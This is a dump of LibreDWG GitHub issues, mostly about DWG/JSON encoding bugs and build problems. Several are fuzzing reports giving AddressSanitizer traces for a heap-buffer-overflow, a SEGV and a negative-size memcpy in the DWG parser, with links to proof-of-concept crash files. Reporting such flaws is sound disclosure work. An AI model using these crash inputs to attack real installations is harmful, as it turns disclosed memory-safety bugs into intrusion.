#3 0x55fb632c6369 in dwg_read_file /benchmark_vuln/source/vuln/libredwg/src/dwg.c:268
#4 0x55fb632c3ed8 in main /benchmark_vuln/source/vuln/libredwg/programs/dwg2dxf.c:261
#5 0x7fd5a1e00082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#6 0x55fb632c2d6d in _start (/benchmark_vuln/source/vuln/libredwg/programs/dwg2dxf+0x25cd6d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /benchmark_vuln/source/vuln/libredwg/src/2ndheader.spec:42 in secondheader_private
==167486==ABORTING
```
## POC
[poc.zip](https://github.com/LibreDWG/libredwg/files/13597214/poc.zip)
|
[FUZZ] SEGV read in dwg2dxf, secondheader_private
|
https://api.github.com/repos/LibreDWG/libredwg/issues/890/comments
| 1 |
2023-12-07T08:09:33Z
|
2023-12-07T15:30:36Z
|
https://github.com/LibreDWG/libredwg/issues/890
| 2,030,135,755 | 890 |
[
"LibreDWG",
"libredwg"
] |
for r11 handles esp.
|
fix read_RLL_BE
|
https://api.github.com/repos/LibreDWG/libredwg/issues/883/comments
| 0 |
2023-11-29T10:46:22Z
|
2023-11-29T11:43:53Z
|
https://github.com/LibreDWG/libredwg/issues/883
| 2,016,305,936 | 883 |
[
"LibreDWG",
"libredwg"
] |
**System info**
Ubuntu x86_64, clang 12.0
version: libredwg-0.12.5.6588
**Command line**
./dwg2dxf poc
**Poc**
poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/libredwg/id_000194%2Csig_11%2Csrc_063760%2Cop_havoc%2Crep_4)
**AddressSanitizer output**
==3732380==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000008c1 at pc 0x000000506583 bp 0x7ffc0a951650 sp 0x7ffc0a951648
READ of size 1 at 0x6120000008c1 thread T0
#0 0x506582 in bit_TV_to_utf8_codepage /src/libredwg-crash/src/bits.c:3200:15
#1 0x505560 in bit_TV_to_utf8 /src/libredwg-crash/src/bits.c
#2 0x6a5deb in dwg_decode_LAYOUT_private /src/libredwg-crash/src/./dwg.spec:5560:3
#3 0x5daa04 in dwg_decode_LAYOUT /src/libredwg-crash/src/./dwg.spec:5556:1
#4 0x5daa04 in dwg_decode_add_object /src/libredwg-crash/src/decode.c:5518:17
#5 0x510892 in decode_R13_R2000 /src/libredwg-crash/src/decode.c:834:19
#6 0x510892 in dwg_decode /src/libredwg-crash/src/decode.c:231:12
#7 0x4cb1f6 in dwg_read_file /src/libredwg-crash/src/dwg.c:268:11
#8 0x4c92a5 in main /src/libredwg-crash/programs/dwg2dxf.c:261:15
#9 0x7f7be09ac082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x41c48d in _start (/src/libredwg-crash/programs/dwg2dxf+0x41c48d)
0x6120000008c1 is located 0 bytes to the right of 257-byte region [0x6120000007c0,0x6120000008c1)
allocated by thread T0 here:
#0 0x49734d in malloc (/src/libredwg-crash/programs/dwg2dxf+0x49734d)
#1 0x4faaf1 in bit_read_TV /src/libredwg-crash/src/bits.c:1778:28
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/libredwg-crash/src/bits.c:3200:15 in bit_TV_to_utf8_codepage
Shadow bytes around the buggy address:
0x0c247fff80c0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff80e0: 00 00 00 00 00 00 00 00 01 fa fa fa fa fa fa fa
0x0c247fff80f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff8110: 00 00 00 00 00 00 00 00[01]fa fa fa fa fa fa fa
0x0c247fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3732380==ABORTING
|
heap-buffer-overflow exists in the function bit_TV_to_utf8_codepage in bits.c
|
https://api.github.com/repos/LibreDWG/libredwg/issues/881/comments
| 0 |
2023-11-28T05:14:22Z
|
2023-11-29T11:43:14Z
|
https://github.com/LibreDWG/libredwg/issues/881
| 2,013,661,272 | 881 |
[
"LibreDWG",
"libredwg"
] |
**System info**
Ubuntu x86_64, clang 12.0
version: libredwg-0.12.5.6588
**Command line**
./dwg2dxf poc
**Poc**
poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/libredwg/id_000127%2Csig_11%2Csrc_055789%2Cop_havoc%2Crep_32)
**AddressSanitizer output**
==3732098==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 0x496694 in __asan_memcpy (/src/libredwg-crash/programs/dwg2dxf+0x496694)
#1 0x4f8775 in bit_read_fixed /src/libredwg-crash/src/bits.c:1597:7
#2 0x8443b6 in read_sections_map /src/libredwg-crash/src/decode_r2007.c:951:9
#3 0x8443b6 in read_r2007_meta_data /src/libredwg-crash/src/decode_r2007.c:2397:18
#4 0x50f90b in decode_R2007 /src/libredwg-crash/src/decode.c:3506:11
#5 0x50f90b in dwg_decode /src/libredwg-crash/src/decode.c:239:12
#6 0x4cb1f6 in dwg_read_file /src/libredwg-crash/src/dwg.c:268:11
#7 0x4c92a5 in main /src/libredwg-crash/programs/dwg2dxf.c:261:15
#8 0x7f296d8c0082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#9 0x41c48d in _start (/src/libredwg-crash/programs/dwg2dxf+0x41c48d)
0x6230000004c0 is located 960 bytes inside of 6282-byte region [0x623000000100,0x62300000198a)
allocated by thread T0 here:
#0 0x4974c2 in calloc (/src/libredwg-crash/programs/dwg2dxf+0x4974c2)
#1 0x50b5f8 in bit_chain_init /src/libredwg-crash/src/bits.c:3808:33
#2 0x50b5f8 in bit_chain_init_dat /src/libredwg-crash/src/bits.c:3825:3
SUMMARY: AddressSanitizer: negative-size-param (/src/libredwg-crash/programs/dwg2dxf+0x496694) in __asan_memcpy
==3732098==ABORTING
|
negative-size-param exists in the function bit_read_fixed in bits.c
|
https://api.github.com/repos/LibreDWG/libredwg/issues/880/comments
| 0 |
2023-11-28T05:11:04Z
|
2023-11-29T11:43:25Z
|
https://github.com/LibreDWG/libredwg/issues/880
| 2,013,657,456 | 880 |
[
"LibreDWG",
"libredwg"
] |
produces garbled layers. (suspect the RS flag)
e.g. ../json-check ../to/r11/from_autocad_r11/SAMPLE/TABLET-S.DWG
|
r11 duplicate handles
|
https://api.github.com/repos/LibreDWG/libredwg/issues/879/comments
| 2 |
2023-11-27T17:44:56Z
|
2023-11-29T11:43:44Z
|
https://github.com/LibreDWG/libredwg/issues/879
| 2,012,786,636 | 879 |
[
"LibreDWG",
"libredwg"
] |
Would be nice if libreDWG can be make available through npm or if instructions for compiling to WASM (without stdio dependency) were added.
That would make it available to a multitude of developers. WASM probably has a broader reach.
(Currently I'm stuck on incompatible glibc in the target environment, so this complicates everything, maybe the above wouldn't actually solve that)
|
npm/WASM module, i.e. javascript bindings
|
https://api.github.com/repos/LibreDWG/libredwg/issues/876/comments
| 4 |
2023-11-26T10:06:36Z
|
2023-11-29T16:19:12Z
|
https://github.com/LibreDWG/libredwg/issues/876
| 2,010,978,988 | 876 |
[
"LibreDWG",
"libredwg"
] |
I would like to convert dxf to/from json, but somehow there is no dxfread program.
I tried to make it by modifying dwgread to use dxf_read_file, which appears to be a drop in replacement for dwg_read_file since it appears to load to the same LibreDWG memory structure, but I get the invalid DWG error 0x800 on my DXF files that work fine with ezdxf.
The DXF version in case is AC1032 (> 2017).
I need to support all valid DXF files (to JSON); it's alright if exotic AutoCAD stuff is missing, I just need simple geometry.
Is LibreDWG just not there yet?
Also, LibreDWG fails to decode its own DXF files generated from dwg (i.e. when running dwgwrite on them).
|
dxfread missing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/875/comments
| 8 |
2023-11-25T22:16:06Z
|
2023-11-27T09:06:07Z
|
https://github.com/LibreDWG/libredwg/issues/875
| 2,010,812,712 | 875 |
[
"LibreDWG",
"libredwg"
] |
Example:
[first.dwg.gz](https://github.com/LibreDWG/libredwg/files/13461902/first.dwg.gz)
first.dwg:
```
codepage: 28 [RS 0]
ANSI_1250
...
Next object: 23 Handleoff: 0x1 [UMC] Offset: -133 [MC] @21132
==========================================
Object number: 23/17, Size: 74 [MS], Type: 42 [BS], Address: 21134
Add object DICTIONARY [23] Decode object DICTIONARY
handle: 0.1.1A [H 5]
EED[0] size: 20 [BS]
EED[0] handle: 5.1.12
EED[0] raw: 20
EED[0] code: 0 [RC], string: len=13 [RC] cp=28 [RS_BE] "TREAT_AS_HARD" [TF]
EED[1] code: 70 [RC], short: 0 [RS]
EED[2] size: 0 (end)
num_eed: 2
bitsize: 496 [RL]
Hdlsize: 0x60, hdl_dat: @62.0 - @74.0 (74)
num_reactors: 1 [BL 0]
ownerhandle: (4.1.C) abs:12 [H 330]
reactors[0]: (4.1.C) abs:12 [H* 330] => DICTIONARY
xdicobjhandle: (3.1.A2) abs:162 [H 360]
--common_size: 246
numitems: 3 [BL 0]
texts[0]: "MODEL" [TV 3]
texts[1]: "ROZVR.EN.1" [TV 3]
texts[2]: "ROZVR.EN.2" [TV 3]
itemhandles[0]: (2.1.22) abs:34 [H* 0]
itemhandles[1]: (2.1.1E) abs:30 [H* 0]
itemhandles[2]: (2.1.26) abs:38 [H* 0]
object_map{1A} = 23
crc: 7CCD [RSx]
check_CRC 21132-21208 = 76: 7CCD == 7CCD
```
After conversion from DWG to JSON in JSON:
```
{
"object": "DICTIONARY",
"index": 23,
"type": 42,
"handle": [0, 1, 26],
"size": 74,
"bitsize": 496,
"eed": [
{
"size": 20,
"handle": [5, 1, 18],
"code": 0,
"value": "TREAT_AS_HARD"
},
{
"code": 70,
"value": 0
}
],
"ownerhandle": [4, 1, 12, 12],
"reactors": [
[4, 1, 12, 12]
],
"xdicobjhandle": [3, 1, 162, 162],
"numitems": 3,
"items": {
"MODEL": [2, 1, 34, 34],
"ROZVRŽENÍ1": [2, 1, 30, 30],
"ROZVRŽENÍ2": [2, 1, 38, 38]
}
},
```
After conversion from JSON to DWG in DWG:
```
codepage: 28 [RS 0]
ANSI_1250
...
Next object: 23 Handleoff: 0x1 [UMC] Offset: 42 [MC] @18647
==========================================
Object number: 23/17, Size: 78 [MS], Type: 42 [BS], Address: 18649
Add object DICTIONARY [23] Decode object DICTIONARY
handle: 0.1.1A [H 5]
EED[0] size: 20 [BS]
EED[0] handle: 5.1.12
EED[0] raw: 20
EED[0] code: 0 [RC], string: len=13 [RC] cp=28 [RS_BE] "TREAT_AS_HARD" [TF]
EED[1] code: 70 [RC], short: 0 [RS]
EED[2] size: 0 (end)
num_eed: 2
bitsize: 528 [RL]
Hdlsize: 0x60, hdl_dat: @66.0 - @78.0 (78)
num_reactors: 1 [BL 0]
ownerhandle: (4.1.C) abs:12 [H 330]
reactors[0]: (4.1.C) abs:12 [H* 330] => DICTIONARY
xdicobjhandle: (3.1.A2) abs:162 [H 360]
--common_size: 246
numitems: 3 [BL 0]
texts[0]: "MODEL" [TV 3]
texts[1]: "ROZVRŽENÍ1" [TV 3]
texts[2]: "ROZVRŽENÍ2" [TV 3]
itemhandles[0]: (2.1.22) abs:34 [H* 0]
itemhandles[1]: (2.1.1E) abs:30 [H* 0]
itemhandles[2]: (2.1.26) abs:38 [H* 0]
object_map{1A} = 23
crc: B9A4 [RSx]
check_CRC 18647-18727 = 80: B9A4 == B9A4
```
Seems texts in final DWG file are UTF8, not ANSI_1250
|
Issue with encoding of text in DICTIONARY from JSON to DWG
|
https://api.github.com/repos/LibreDWG/libredwg/issues/873/comments
| 9 |
2023-11-24T19:51:58Z
|
2024-07-06T10:06:11Z
|
https://github.com/LibreDWG/libredwg/issues/873
| 2,010,169,000 | 873 |
[
"LibreDWG",
"libredwg"
] |
This is not working in AC1012.
Example:
[first.json.gz](https://github.com/LibreDWG/libredwg/files/13458457/first.json.gz)
Output is:
```
section[3].number: 0 [RC] AcDb:ObjFreeSpace
section[3].address: 0 [RL]
section[3].size: 0 [RL]
```
Missing number of section.
Missing section from JSON.
|
Add support for encoding of ObjFreeSpace from JSON to DWG (AC1012)
|
https://api.github.com/repos/LibreDWG/libredwg/issues/872/comments
| 3 |
2023-11-24T11:20:30Z
|
2023-12-05T14:39:38Z
|
https://github.com/LibreDWG/libredwg/issues/872
| 2,009,557,993 | 872 |
[
"LibreDWG",
"libredwg"
] |
AuxHeader is broken in this time.
Example:
[BLANK_English.DWG.gz](https://github.com/LibreDWG/libredwg/files/13458155/BLANK_English.DWG.gz)
Output:
```
=======> AuxHeader: 97
AuxHeader (end): 220
aux_intro: { 0xff 0x77 0x1 } [*RC]
dwg_version: 0x17 [RSx 0]
maint_version: 0x6 [RSx 0]
numsaves: 4294901760 [RL 0]
minus_1: 131071 [RLd 0]
numsaves_1: 0 [RS 0]
numsaves_2: 0 [RS 0]
zero: 1507328 [RL 0]
dwg_version_1: 0x6 [RSx 0]
maint_version_1: 23 [RS 0]
dwg_version_2: 0xa [RSx 0]
maint_version_2: 17134 [RS 0]
unknown_6rs: { 17134 0 1 0 0 0 } [*RS]
unknown_5rl: { 0 0 0 2310668288 954204197 } [*RL]
TDCREATE: [2310668980, 1313079333] 6321684-09-08 03:08:20 [TIMERLL 0]
TDUPDATE: [2884276, 0] 3184-10-11 00:00:00 [TIMERLL 0]
HANDSEED: 0x0 [RLx 0]
plot_stamp: 1 [RL 0]
zero_1: 0 [RS 0]
numsaves_3: 0 [RS 0]
zero_2: 0 [RL 0]
zero_3: 65536 [RL 0]
zero_4: 0 [RL 0]
numsaves_4: 0 [RL 0]
zero_5: 0 [RL 0]
zero_6: 0 [RL 0]
```
There is some move, because TDCREATE and TDUPDATE is bad.
Follow up for https://github.com/LibreDWG/libredwg/issues/860
|
Fix AuxHeader in AutoCAD 2000
|
https://api.github.com/repos/LibreDWG/libredwg/issues/871/comments
| 1 |
2023-11-24T10:44:48Z
|
2023-11-27T13:10:45Z
|
https://github.com/LibreDWG/libredwg/issues/871
| 2,009,507,619 | 871 |
[
"LibreDWG",
"libredwg"
] |
We have a situation, when we have DWG_VERSION_TYPE definitions in include/dwg.h, but this is related to DWG file, not to AutoCAD release.
Intent behind this is, that we need to define AutoCAD version and set defaults related to AutoCAD version.
e.g.
We have AutoCAD R_13 and AutoCAD R_2000. Boths could encode DWG file to AC1012 version.
But result is different e.g. in case of sections. This is common problem.
AutoCAD R_13:
```
num_sections: 3 [RL]
num_sections => 3
section[0].number: 0 [RC] AcDb:Header
section[0].address: 70 [RL]
section[0].size: 454 [RL]
section[1].number: 1 [RC] AcDb:Classes
section[1].address: 524 [RL]
section[1].size: 38 [RL]
section[2].number: 2 [RC] AcDb:Handles
section[2].address: 3977 [RL]
section[2].size: 79 [RL]
crc: A24C [RSx] from 0-52
HEADER (end): 70
```
AutoCAD R_2000:
```
num_sections: 5 [RL]
num_sections => 5
section[0].number: 0 [RC] AcDb:Header
section[0].address: 18207 [RL]
section[0].size: 484 [RL]
section[1].number: 1 [RC] AcDb:Classes
section[1].address: 18691 [RL]
section[1].size: 475 [RL]
section[2].number: 2 [RC] AcDb:Handles
section[2].address: 25375 [RL]
section[2].size: 273 [RL]
section[3].number: 3 [RC] AcDb:ObjFreeSpace
section[3].address: 25648 [RL]
section[3].size: 53 [RL]
section[4].number: 4 [RC] AcDb:Template
section[4].address: 25847 [RL]
section[4].size: 4 [RL]
crc: DA60 [RSx] from 0-70
HEADER (end): 88
```
|
Define AutoCAD release versions in include/dwg.h
|
https://api.github.com/repos/LibreDWG/libredwg/issues/870/comments
| 26 |
2023-11-24T10:32:48Z
|
2024-03-12T07:05:44Z
|
https://github.com/LibreDWG/libredwg/issues/870
| 2,009,489,231 | 870 |
[
"LibreDWG",
"libredwg"
] |
When I have:
[line.dwgadd.gz](https://github.com/LibreDWG/libredwg/files/13457990/line.dwgadd.gz)
And use command: ```dwgadd -v9 --as r14 -o line.dwg line.dwgadd```
Output of AcDb:ObjFreeSpace:
```
=======> ObjFreeSpace 3 (start): 2339
zero: 0x0 [RLL 0]
numhandles: 0x0 [RLL 0]
TDUPDATE: [0, 0] 00:00:00 [TIMERLL 0]
objects_address: 0x0 [RLx 0]
numnums: 0x0 [RC 0]
max32: 0x0 [RLL 0]
max64: 0x0 [RLL 0]
maxtbl: 0x0 [RLL 0]
maxrl: 0x0 [RLL 0]
ObjFreeSpace 3 (end): 2392
```
We need fill right values.
This is follow up for https://github.com/LibreDWG/libredwg/issues/860
|
Encode AcDb:ObjFreeSpace in dwgadd for preR13
|
https://api.github.com/repos/LibreDWG/libredwg/issues/869/comments
| 1 |
2023-11-24T10:26:31Z
|
2023-11-24T13:05:26Z
|
https://github.com/LibreDWG/libredwg/issues/869
| 2,009,480,037 | 869 |
[
"LibreDWG",
"libredwg"
] |
at least tcc cannot debug them.
and compcert warns: include/dwg.h:9642 anonymous structs/unions are a C11 extension [-Wc11-extensions]
|
fix the anonymous unions
|
https://api.github.com/repos/LibreDWG/libredwg/issues/867/comments
| 0 |
2023-11-20T15:03:56Z
|
2024-05-03T21:07:50Z
|
https://github.com/LibreDWG/libredwg/issues/867
| 2,002,403,030 | 867 |
[
"LibreDWG",
"libredwg"
] |
Shouldn't we publish a revised ODA spec, with all our found doc bugs and missing pieces?
Unknown Section => ObjFreeSpace
Many new objects
...
We cannot, as it is copyrighted. But we can publish the diff from ODA-5.4.1.md to our ODA-5.4.2-libredwg.md
|
publish the diff from ODA-5.4.1.md to our ODA-5.4.2-libredwg.md
|
https://api.github.com/repos/LibreDWG/libredwg/issues/866/comments
| 1 |
2023-11-14T07:30:49Z
|
2023-11-24T07:42:17Z
|
https://github.com/LibreDWG/libredwg/issues/866
| 1,992,149,544 | 866 |
[
"LibreDWG",
"libredwg"
] |
Example:
[first.dwg.gz](https://github.com/LibreDWG/libredwg/files/13309860/first.dwg.gz)
[first.json.gz](https://github.com/LibreDWG/libredwg/files/13309861/first.json.gz)
[second.dwg.gz](https://github.com/LibreDWG/libredwg/files/13309862/second.dwg.gz)
First.dwg is origin:
```
Next object: 12 Handleoff: 0x1 [UMC] Offset: -2952 [MC] @20335
==========================================
Object number: 12/C, Size: 53 [MS], Type: 500 [BS], Address: 20337
Add object DICTIONARYWDFLT [12] Decode object DICTIONARYWDFLT
handle: 0.1.E [H 5]
EED[0] size: 20 [BS]
EED[0] handle: 5.1.12
EED[0] raw: 20
EED[0] code: 0 [RC], string: len=13 [RC] cp=28 [RS_BE] "TREAT_AS_HARD" [TF]
EED[1] code: 70 [RC], short: 0 [RS]
EED[2] size: 0 (end)
num_eed: 2
bitsize: 350 [RL]
Hdlsize: 0x4A, hdl_dat: @43.6 - @53.0 (53)
num_reactors: 1 [BL 0]
ownerhandle: (12.1.2) abs:12 [H 330]
reactors[0]: (4.1.C) abs:12 [H* 330] => DICTIONARY
xdicobjhandle: (3.0.0) abs:0 [H 360]
--common_size: 246
numitems: 1 [BL 0]
TV-ZERO 1
texts[0]: "" [TV 3]
handle stream: +58 @36.4 MISSING (@43.6 @48.6)
defaultid: (2.1.F) abs:15 [H 340]
padding: +18 MISSING
object_map{E} = 12
padding: 3D/1 (2 bits)
crc: 2A2B [RSx]
check_CRC 20335-20390 = 55: 2A2B == 2A2B
```
After conversion to JSON, first.json:
```
{
"object": "DICTIONARYWDFLT",
"dxfname": "ACDBDICTIONARYWDFLT",
"index": 12,
"type": 500,
"handle": [0, 1, 14],
"size": 53,
"bitsize": 350,
"eed": [
{
"size": 20,
"handle": [5, 1, 18],
"code": 0,
"value": "TREAT_AS_HARD"
},
{
"code": 70,
"value": 0
}
],
"ownerhandle": [12, 1, 2, 12],
"reactors": [
[4, 1, 12, 12]
],
"numitems": 1,
"items": {
},
"_subclass": "AcDbDictionaryWithDefault",
"defaultid": [2, 1, 15, 15]
},
```
After conversion back to DWG, in second.dwg:
```
Next object: 12 Handleoff: 0x1 [UMC] Offset: 41 [MC] @19725
==========================================
Object number: 12/C, Size: 41 [MS], Type: 500 [BS], Address: 19727
Add object DICTIONARYWDFLT [12] Decode object DICTIONARYWDFLT
handle: 0.1.E [H 5]
EED[0] size: 20 [BS]
EED[0] handle: 5.1.12
EED[0] raw: 20
EED[0] code: 0 [RC], string: len=13 [RC] cp=28 [RS_BE] "TREAT_AS_HARD" [TF]
EED[1] code: 70 [RC], short: 0 [RS]
EED[2] size: 0 (end)
num_eed: 2
bitsize: 266 [RL]
Hdlsize: 0x3E, hdl_dat: @33.2 - @41.0 (41)
num_reactors: 1 [BL 0]
ownerhandle: (12.1.2) abs:12 [H 330]
reactors[0]: (4.1.C) abs:12 [H* 330] => DICTIONARY
xdicobjhandle: (3.0.0) abs:0 [H 360]
--common_size: 246
numitems: 0 [BL 0]
defaultid: (2.1.F) abs:15 [H 340]
padding: +6
object_map{E} = 12
padding: FF/3F (6 bits)
crc: A156 [RSx]
check_CRC 19725-19768 = 43: A156 == A156
```
|
Issue with DWG->JSON->DWG conversion of DICTIONARYWDFLT object in r13
|
https://api.github.com/repos/LibreDWG/libredwg/issues/864/comments
| 4 |
2023-11-09T15:30:09Z
|
2023-11-24T11:18:22Z
|
https://github.com/LibreDWG/libredwg/issues/864
| 1,985,873,655 | 864 |
[
"LibreDWG",
"libredwg"
] |
When I convert R_13 DWG to JSON there is the change of LAYER.on from 0 to 1. In conversion back to DWG there is 1 still.
Example:
[BLANK.DWG.gz](https://github.com/LibreDWG/libredwg/files/13305124/BLANK.DWG.gz)
[BLANK.json.gz](https://github.com/LibreDWG/libredwg/files/13305125/BLANK.json.gz)
BLANK.DWG:
```
Next object: 13 Handleoff: 0x1 [UMC] Offset: -1413 [MC] @2466
==========================================
Object number: 13/D, Size: 19 [MS], Type: 51 [BS], Address: 2468
Add table record LAYER [13] Decode table record LAYER
handle: 0.1.F [H 5]
EED[0] size: 0 (end)
num_eed: 0
bitsize: 98 [RL]
Hdlsize: 0x36, hdl_dat: @12.2 - @19.0 (19)
num_reactors: 0 [BL 0]
ownerhandle: (4.1.2) abs:2 [H 330]
xdicobjhandle: (3.0.0) abs:0 [H 360]
--common_size: 52
name: "0" [T 2]
is_xref_ref: 0 [B 0]
is_xref_resolved: 0 [BS 0]
is_xref_dep: 0 [B 0]
xref: (5.0.0) abs:0 [H 0]
frozen: 0 [B 0]
on: 0 [B 0]
frozen_in_new: 0 [B 0]
locked: 0 [B 0]
color.index: 7 [CMC.BS 62]
ltype: (5.1.16) abs:22 [H 6]
padding: +6
object_map{F} = 13
padding: AA/2A (6 bits)
crc: 3335 [RSx]
check_CRC 2466-2487 = 21: 3335 == 3335
```
BLANK.json:
```
{
"object": "LAYER",
"index": 13,
"type": 51,
"handle": [0, 1, 15],
"size": 19,
"bitsize": 98,
"ownerhandle": [4, 1, 2, 2],
"name": "0",
"is_xref_ref": 0,
"is_xref_resolved": 0,
"is_xref_dep": 0,
"xref": [5, 0, 0, 0],
"frozen": 0,
"on": 1,
"frozen_in_new": 0,
"locked": 0,
"color": 7,
"ltype": [5, 1, 22, 22]
},
```
|
Issue with layer.on in JSON conversions in r13
|
https://api.github.com/repos/LibreDWG/libredwg/issues/862/comments
| 3 |
2023-11-09T07:40:52Z
|
2023-11-12T12:26:58Z
|
https://github.com/LibreDWG/libredwg/issues/862
| 1,985,013,611 | 862 |
[
"LibreDWG",
"libredwg"
] |
This is a tracking issue for activity on the second header block.
I found issues in the case of https://github.com/LibreDWG/libredwg/issues/346
|
Fix second header block
|
https://api.github.com/repos/LibreDWG/libredwg/issues/860/comments
| 51 |
2023-11-03T08:45:55Z
|
2024-02-04T10:30:51Z
|
https://github.com/LibreDWG/libredwg/issues/860
| 1,975,696,277 | 860 |
[
"LibreDWG",
"libredwg"
] |
eg. ossfuzz with 5075763015057408
or better fail early
|
indxf fuzzing: realloc on num_* changes
|
https://api.github.com/repos/LibreDWG/libredwg/issues/859/comments
| 1 |
2023-10-31T16:16:51Z
|
2023-11-04T21:00:02Z
|
https://github.com/LibreDWG/libredwg/issues/859
| 1,970,825,353 | 859 |
[
"LibreDWG",
"libredwg"
] |
get it from https://github.com/AbsInt/CompCert
use it like: `../configure CC="ccomp -std=c11 -fstruct-passing -flongdouble" --disable-bindings --disable-werror`
-Werror,-Wc11-extensions: anonymous structs/unions are a C11 extension
include/dwg.h:9640
We really should stay c99 compatible
error: use of undeclared identifier `__FUNCTION__`
dwg_api.h:32: warning: "`__attribute_deprecated__`" redefined
dwg.h:8071: warning: unknown pragma ignored [-Wunknown-pragmas]
/common.c:502: error: unsupported feature: function parameter of struct or union type (consider adding option [-fstruct-passing])
|
compcert compat
|
https://api.github.com/repos/LibreDWG/libredwg/issues/858/comments
| 1 |
2023-10-27T10:28:50Z
|
2023-10-30T07:46:15Z
|
https://github.com/LibreDWG/libredwg/issues/858
| 1,965,232,166 | 858 |
[
"LibreDWG",
"libredwg"
] |
Some mingw doesnt seem to support it. (CI mingw-cmake with gcc 12.2)
Use ax_printf_size_t
|
Add %zu formatting probe
|
https://api.github.com/repos/LibreDWG/libredwg/issues/857/comments
| 0 |
2023-10-25T08:09:44Z
|
2023-11-24T09:25:51Z
|
https://github.com/LibreDWG/libredwg/issues/857
| 1,960,805,510 | 857 |
[
"LibreDWG",
"libredwg"
] |
The type of the blkhdr parameter does not seem correct:
typedef struct _dwg_entity_POINT dwg_ent_generic;
...
EXPORT Dwg_Entity_SEQEND *
dwg_add_SEQEND (**_dwg_ent_generic_** *restrict blkhdr)
As far as I understand, it should be like this:
EXPORT Dwg_Entity_SEQEND *
dwg_add_SEQEND (**_Dwg_Object_BLOCK_HEADER_** *restrict blkhdr)
|
Possible error in dwg_add_SEQEND (dwg_api.h)
|
https://api.github.com/repos/LibreDWG/libredwg/issues/856/comments
| 2 |
2023-10-23T18:36:15Z
|
2023-11-24T10:10:37Z
|
https://github.com/LibreDWG/libredwg/issues/856
| 1,957,777,074 | 856 |
[
"LibreDWG",
"libredwg"
] |
Mostly with TEXT entities, but also with BLOCK.
This offset leads to CRC errors, requiring recovery.
But with re-encode even to data-loss of subsequent entities: ../to/r9/from_autocad_r10/TABLET.DWG
eg
TEXT ../to/r11/from_autocad_r12/sample/ADESK_B.DWG
BLOCK ../to/r11/from_autocad_r11/SAMPLE/TROL1.DWG (offset 10!)
|
preR13 store ERROR: offset slack in unknown_bits
|
https://api.github.com/repos/LibreDWG/libredwg/issues/855/comments
| 3 |
2023-10-13T10:22:21Z
|
2023-11-24T09:43:12Z
|
https://github.com/LibreDWG/libredwg/issues/855
| 1,941,674,102 | 855 |
[
"LibreDWG",
"libredwg"
] |
ODAFileConverter is now at 24.9
fails to install with ubuntu 20.04, tried ubuntu 22.04.
updated ppa:linuxuprising/libpng12 recipe (apt update was missing)
installs now correctly, but doesnt convert anymore (some unknown runtime error)
libxcb-util.so.0 is missing.
|
oda ci stopped working
|
https://api.github.com/repos/LibreDWG/libredwg/issues/854/comments
| 1 |
2023-10-13T09:02:46Z
|
2023-10-13T09:06:40Z
|
https://github.com/LibreDWG/libredwg/issues/854
| 1,941,546,248 | 854 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.